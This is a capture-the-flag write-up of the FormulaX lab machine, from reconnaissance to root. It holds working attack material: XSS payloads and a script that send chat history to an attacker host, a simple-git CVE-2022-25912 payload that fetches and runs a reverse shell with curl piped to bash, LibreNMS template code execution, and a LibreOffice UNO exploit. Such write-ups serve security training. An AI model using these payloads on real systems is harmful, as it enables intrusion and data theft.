Machine Card listing FormulaX as a hard Linux box

Reconnaissance

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 5f:b2:cd:54:e4:47:d1:0e:9e:81:35:92:3c:d6:a3:cb (ECDSA)
|_  256 b9:f0:0d:dc:05:7b:fa:fb:91:e6:d0:b4:59:e6:db:88 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
|_http-cors: GET POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

The webpage for Your 24/7 Problem-Solving Chatbot just displays a login prompt and the option to create a new account.

Login prompt for the 24/7 Problem-Solving Chatbot on FormulaX

Registering an account requires me to supply a username, an email, and a password. Doing so lets me login and from there it’s possible to chat, change my password and contact the administrator via a form.

I decide to check out the chatbot and the first message explains that I can see builtin commands with help. Just one other command is available to me, history to show the previous sent messages. Trying to chat with the bot just shows a message regarding the unavailibity of this feature to regular users.

Messages with the chatbot

Since this seems to be a dead-end for now, I move on to the Contact Form. Providing a first and last name as well as a message with a simple XSS payload works like a charm and I get a callback on my listener.

POST /user/api/contact_us HTTP/1.1
Host: 10.129.249.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 111
Origin: http://10.129.249.135
Connection: keep-alive
Referer: http://10.129.249.135/restricted/contact_us.html
Cookie: authorization=Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NmJhNWMyMzY3NDAxNTg5NjcwODI0NDYiLCJpYXQiOjE3MjM0ODkzMjJ9.R9q4lmKbMpe1jQwwVR-u_DAn3qNaRP0p7hkRRHj7wPo
Pragma: no-cache
Cache-Control: no-cache

{"first_name":"ryuki","last_name":"ctf","message":"<img src=x onerror='fetch(\"http://10.10.10.10/test\");'>"}

Initial Access

Unfortunately the cookie has the HTTPonly flag set, this means I can’t access it via javascript1 and have to use the XSS in another way. The contact page mentions that this messages is supposed to go to the Admin and the chatbot is presumably enabled for this type of account, I can try to exfiltrate the result of the history command.

Interaction with the chatbot is done via the code in /restricted/chat.js and is based upon a websocket connection. It requires the code from /socket.io/socket.io.js to function correctly.

/restricted/chat.js
let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
 
 
//listening for the messages
socket.on('message', (my_message) => {
 
  //console.log("Received From Server: " + my_message)
  Show_messages_on_screen_of_Server(my_message)
 
})
--- SNIP ---

To not overload the XSS payload I send via the form, I’ll move my exploit code into a new file called xss.js than I plan to serve via HTTP. It does load the script required for the websocket, uses the code from the chat.js to call the History command and send all messages to my webserver as base64 encoded string.

xss.js
let exfil = 'http://10.10.10.10';
 
function exploit() {
    // from /restricted/chat.js
    const res = axios.get(`/user/api/chat`);
    const socket = io('/',{withCredentials: true});
 
    socket.on('message', (my_message) => {
        // Exfiltrate the message as base64 encoded string
        fetch(`${exfil}/?message=${btoa(my_message)}`);
    });
 
    // Send the history command
    socket.emit('client_message', 'history');
}
 
// Load the socket script and make exploit() run right after load
let script_tag = document.createElement('script');
script_tag.onload = exploit;
script_tag.src = '/socket.io/socket.io.js';
document.head.appendChild(script_tag);

Serving the file with a webserver and modifying the original XSS to add a new script tag that loads my xss.js has the desired effect and I get several hits on my server with base64 encoded values.

"message":"<img src=x onerror='let s = document.createElement(\"script\");s.src=\"http://10.10.10.10/xss.js\";document.head.appendChild(s);'>"

Screenshot of a terminal running the python http.server on port and multiple requests with base64 encoded values

After decoding the messages it’s clear that there’s at least one other subdomain dev-git-auto-update.chatbot.htb, so I add this and the base domain to my /etc/hosts.

decoded_messages
Greetings!. How can i help you today ?. You can type help to see some buildin commands
Hello, I am Admin.Testing the Chat Application
Write a script to automate the auto-update
Message Sent:<br>history
Write a script for  dev-git-auto-update.chatbot.htb to work properly

Execution

On the subdomain dev-git-auto-update.chatbot.htb is an input field for a Git URL. It also exposes the name of the software and the version within the footer of the page: simple-git v3.14. A quick online search shows that this version is vulnerable to CVE-2022-25912, a remote code execution through the usage of the ext transport protocol.

Screenshot of the web application with an input field for a Git URL and the software simple-git version 3.14 highlighted in the footer

I add a simple reverse shell to a file called shell.sh, that I host on my webserver, and send the payload ext::sh -c curl% http://10.10.10.10/shell.sh|bash as the URL to the repository to be cloned. Promptly I receive a callback on my listener as www-data.

Privilege Escalation

Shell frank_dorky

The main app with the chatbot is located within /var/www/app/ and since it does contain a login, I check there for credentials first. According to the database.js in the configuration subfolder the data is held within a mongo database called testing.

/var/www/app/configuration/database.js
import mongoose from "mongoose";
 
const connectDB= async(URL_DATABASE)=>{
    try{
        const DB_OPTIONS={
            dbName : "testing"
        }
        mongoose.connect(URL_DATABASE,DB_OPTIONS)
        console.log("Connected Successfully TO Database")
    }catch(error){
        console.log(`Error Connecting to the ERROR ${error}`);
    }
}

Simply using the mongo command drops me into an interactive database session within the database test. As said the web app is using the testing database so I change to it and list the tables aka Collections2 and furthermore all documents within the user collection.

mongo
--- SNIP ---
> db
test
> use testing
switched to db testing
> db.getCollectionNames()
[ "messages", "users" ]
> db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MjM0OTM2MjN9.e50SkA2MhKKLwgdkIfZ063SFKyD6t2jDwMnyq1dqkYQ", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }

Note

For some reason the account I’ve created is not contained within the collection and sure enough, it does not let me login anymore - so there might be some type of cleanup script running.

The password hash for frank_dorky is auto-detected by john as bcrypt and cracks within a few moments with the help of rockyou.txt recovers the password manchesterunited. With those credentials logging in via SSH is possible and the first flag is readable.

Shell as kai_relay

Apart from the chat and git applications on port 80 there are two more webservers running on localhost. Listing the open TCP listeners with ss shows port 3000 and 8000 open.

ss -tulpn
Netid                   State                    Recv-Q                   Send-Q                                     Local Address:Port                                        Peer Address:Port                   Process
udp                     UNCONN                   0                        0                                          127.0.0.53%lo:53                                               0.0.0.0:*
udp                     UNCONN                   0                        0                                                0.0.0.0:68                                               0.0.0.0:*
udp                     UNCONN                   0                        0                                                0.0.0.0:162                                              0.0.0.0:*
tcp                     LISTEN                   0                        511                                            127.0.0.1:3000                                             0.0.0.0:*
tcp                     LISTEN                   0                        511                                            127.0.0.1:8000                                             0.0.0.0:*
tcp                     LISTEN                   0                        4096                                           127.0.0.1:27017                                            0.0.0.0:*
tcp                     LISTEN                   0                        80                                             127.0.0.1:3306                                             0.0.0.0:*
tcp                     LISTEN                   0                        511                                              0.0.0.0:80                                               0.0.0.0:*
tcp                     LISTEN                   0                        511                                            127.0.0.1:8081                                             0.0.0.0:*
tcp                     LISTEN                   0                        511                                            127.0.0.1:8082                                             0.0.0.0:*
tcp                     LISTEN                   0                        4096                                       127.0.0.53%lo:53                                               0.0.0.0:*
tcp                     LISTEN                   0                        128                                              0.0.0.0:22                                               0.0.0.0:*
tcp                     LISTEN                   0                        10                                             127.0.0.1:41559                                            0.0.0.0:*

To examine the ports, I redo the SSH connection with -D 1080 to open a SOCKS proxy that I also configure in Firefox to access http://127.0.0.1:3000. There I’m greeted with a login prompt to LibreNMS, a network monitoring system, with the source code available on Github. Credentials for frank_dorky work, but apparently I only have viewing privileges.

Login prompt to LibreNMS

The /about page shows the version 22.10.0 and that was released in October 20223, meaning its pretty outdated. The repository for this release has some interesting contents, namely the adduser.php and config_to_json.php scripts. The former can be used to create a new user4 and the latter prints the current configuration5. The files for LibreNMS were placed into /opt/librenms but listing the directory is not possible, yet accessing the files directly works just fine.

frank_dorky@formulax:~$ ls -la /opt/librenms/
ls: cannot open directory '/opt/librenms/': Permission denied
frank_dorky@formulax:~$ ls -la /opt/librenms/config_to_json.php
-rwxr-xr-x 1 librenms librenms 368 Oct 18  2022 /opt/librenms/config_to_json.php
frank_dorky@formulax:~$ ls -la /opt/librenms/adduser.php
-rwxr-xr-x 1 librenms librenms 956 Oct 18  2022 /opt/librenms/adduser.ph

config_to_json.php

Running /opt/librenms/config_to_json prints the configuration to the console with some juicy details at the end, the credentials for the database for user kai_relay and the password mychemicalformulaX. The credentials also work for changing the user.

/opt/librenms/config_to_json.php
--- SNIP ---
    },
    db_host: "localhost",
    db_name: "librenms",
    db_user: "kai_relay",
    db_pass: "mychemicalformulaX",
    db_port: "3306",
    db_socket: ""
}

adduser.php

The adduser.php script requires three parameters, username, password, and a level from 1 (normal user) to 10 (admin). Adding myself as admin seems to work and I can login to the web interface.

/opt/librenms/adduser.php ryuki ryuki 10
User ryuki added successfully

Going to Alert Alert Templates lets me create a new alert template and apparently I can use PHP code enclosed within @php and @endphp6. Adding a new template that fetches a file from my webserver with curl and pipes the result to bash. When pressing the Update template button the application hangs and in the background I get a shell as librenms.

Adding a new alert template with a PHP payload to retrieve a reverse shell payload

Looking through the files within /opt/librenms I quickly find .custom.env with the credentials for the database and those also work for the user kai_relay.

.custom.env
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=
 
DB_HOST=localhost
DB_DATABASE=librenms
DB_USERNAME=kai_relay
DB_PASSWORD=mychemicalformulaX
 
#APP_URL=
NODE_ID=648b260eb18d2
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ

Hint

The web application is configured in a way that for some functionality it tries to go to librenms.com:3000, so I added that domain to /etc/hosts.

Shell as root

As kai_relay I check the sudo privileges and it looks like I can run /usr/bin/office.sh. Given it’s a bash script, I can check the contents and see that it does start LibreOffice in listening mode7 accepting connections on port 2002.

/usr/bin/office.sh
#!/bin/bash
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless

Searching online, there seems to be a way to execute code by using the Universal Network Objects (UNO) protocol. It comes with a PoC that I adapt to my needs.

exploit.py
#!/usr/bin/env python3
import uno
from com.sun.star.beans import PropertyValue
 
local = uno.getComponentContext()
resolver = local.ServiceManager.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver", local)
context = resolver.resolve("uno:socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext")
rc = context.ServiceManager.createInstanceWithContext("com.sun.star.system.SystemShellExecute", context)
rc.execute("/bin/bash", "/tmp/shell.sh", 1)

I do create a bash script on the target to be called by the exploit in /tmp/shell.sh with a simple reverse shell and also add the python code in another file. Then I run office.sh as root and call the exploit script in another tab. Right away a callback pops up and I have a shell as root.

# As kai_relay
sudo /usr/bin/office.sh
 
# In another session (kai_relay or frank_dorky)
python3 /tmp/exploit.sh

Attack Path

flowchart TD

subgraph "Initial Access"
    A(XSS in Contact Form) -->|Exfiltrate Chat History| B(Info about subdomain)
end

subgraph "Execution"
    B -->|CVE-2022-25912 Command Injection| C(Shell as www-data)
end

subgraph "Privilege Escalation"
    C -->|Access to Database| D(Hash for frank_dorky)
    D -->|Bruteforce| E(Credentials for frank_dorky)
    C & E -->|Access to Filesystem| F(Accessible LibreNMS Management scripts)
    G(Credentials for kai_relay)
    F -->|Create Admin User & Alert Template RCE| G
    F -->|Dump Configuration| G
    G -->|Exploit Listening Mode in LibreOffice| H(Shell as root)
end

Footnotes

  1. Block access to your cookies

  2. Database and Collections

  3. Release 22.10.0

  4. Adding Admin Users

  5. config_to_json

  6. Gaining Code Execution on LibreNMS

  7. Starting LibreOffice in Listening Mode